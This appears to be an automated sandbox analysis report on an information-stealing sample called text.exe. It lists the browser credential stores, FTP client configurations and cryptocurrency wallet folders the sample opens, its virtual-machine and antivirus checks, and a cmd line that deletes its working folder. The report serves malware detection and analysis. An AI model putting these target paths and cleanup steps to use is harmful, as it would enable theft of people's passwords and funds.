Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004112E8 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,LdrInitializeThunk,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004112E8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00407891 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,FindNextFileA,FindClose, 0_2_00407891
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040A69C LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 0_2_0040A69C
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00408776 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_00408776
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00411D33 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00411D33
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004013DA LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,FindNextFileA,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,LdrInitializeThunk,LdrInitializeThunk,EntryPoint,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose, 0_2_004013DA
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00406784 ExpandEnvironmentStringsA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,LdrInitializeThunk,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00406784
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00412BBE wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00412BBE
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00409C78 wsprintfA,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,lstrlenA,LdrInitializeThunk,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_00409C78
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00408224 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00408224
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0041269A GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_0041269A
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F848B LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004F848B
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0050154F wsprintfA,FindFirstFileA,memset,memset,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,strtok_s,memset,lstrcat,strtok_s,PathMatchSpecA,LdrInitializeThunk,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose, 0_2_0050154F
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004FA903 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 0_2_004FA903
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00502901 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,wsprintfA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrlen,lstrlen, 0_2_00502901
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F89DD LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindNextFileA, 0_2_004F89DD
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F69EB ExpandEnvironmentStringsA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,DeleteFileA,LdrInitializeThunk,LdrInitializeThunk,Sleep,LdrInitializeThunk,memset,LdrInitializeThunk,CopyFileA,DeleteFileA,memset,FindNextFileA,FindClose, 0_2_004F69EB
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F1641 LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindClose, 0_2_004F1641
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00502E25 wsprintfA,FindFirstFileA,LdrInitializeThunk,StrCmpCA,PathMatchSpecA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00502E25
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00503ED8 SHGetFolderPathA,wsprintfA,FindFirstFileA,_mbscpy,_mbscpy,strlen,isupper,wsprintfA,_mbscpy,strlen,SHFileOperation,FindClose, 0_2_00503ED8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F9EDF wsprintfA,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,lstrlen,LdrInitializeThunk,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_004F9EDF
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F7AF8 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,FindNextFileA,FindClose, 0_2_004F7AF8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00501F9A wsprintfA,FindFirstFileA,FindNextFileA,FindClose, 0_2_00501F9A
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00411883 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 0_2_00411883
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040DF8C GetSystemInfo,wsprintfA, 0_2_0040DF8C
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000002.2462880776.0000000000535000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\text.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\text.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\text.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\text.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00403C79 LdrInitializeThunk,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle, 0_2_00403C79
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0040E886
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F092B mov eax, dword ptr fs:[00000030h] 0_2_004F092B
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F0D90 mov eax, dword ptr fs:[00000030h] 0_2_004F0D90
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_005236B3 push dword ptr fs:[00000030h] 0_2_005236B3
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040D84A lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrcpyA,lstrcatA, 0_2_0040D84A

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Yara match File source: Process Memory Space: text.exe PID: 7068, type: MEMORYSTR
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040F029 CreateToolhelp32Snapshot,Process32First,StrCmpCA,Process32Next,StrCmpCA,CloseHandle, 0_2_0040F029
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040F0CA CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle, 0_2_0040F0CA
Source: C:\Users\user\Desktop\text.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jwl6p" & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 Jump to behavior
Source: C:\Users\user\Desktop\text.exe Code function: LdrInitializeThunk,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_0040DE1C
Source: C:\Users\user\Desktop\text.exe Code function: LdrInitializeThunk,LocalAlloc,GetLocaleInfoA,LocalFree, 0_2_004FE083
Source: C:\Users\user\Desktop\text.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\text.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\text.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\text.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00417652 SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 0_2_00417652
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00414E31 EntryPoint,GetUserNameW,GetComputerNameW, 0_2_00414E31
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040DDBF GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 0_2_0040DDBF
Source: C:\Users\user\Desktop\text.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

barindex
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 0.2.text.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.text.exe.2130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.text.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: text.exe PID: 7068, type: MEMORYSTR
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Electrum\wallets\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Electrum\wallets\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: exodus.conf.json
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Exodus\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ElectrumLTC
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Ethereum\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Electrum-LTC\wallets\
Source: C:\Users\user\Desktop\text.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Source: C:\Users\user\Desktop\text.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
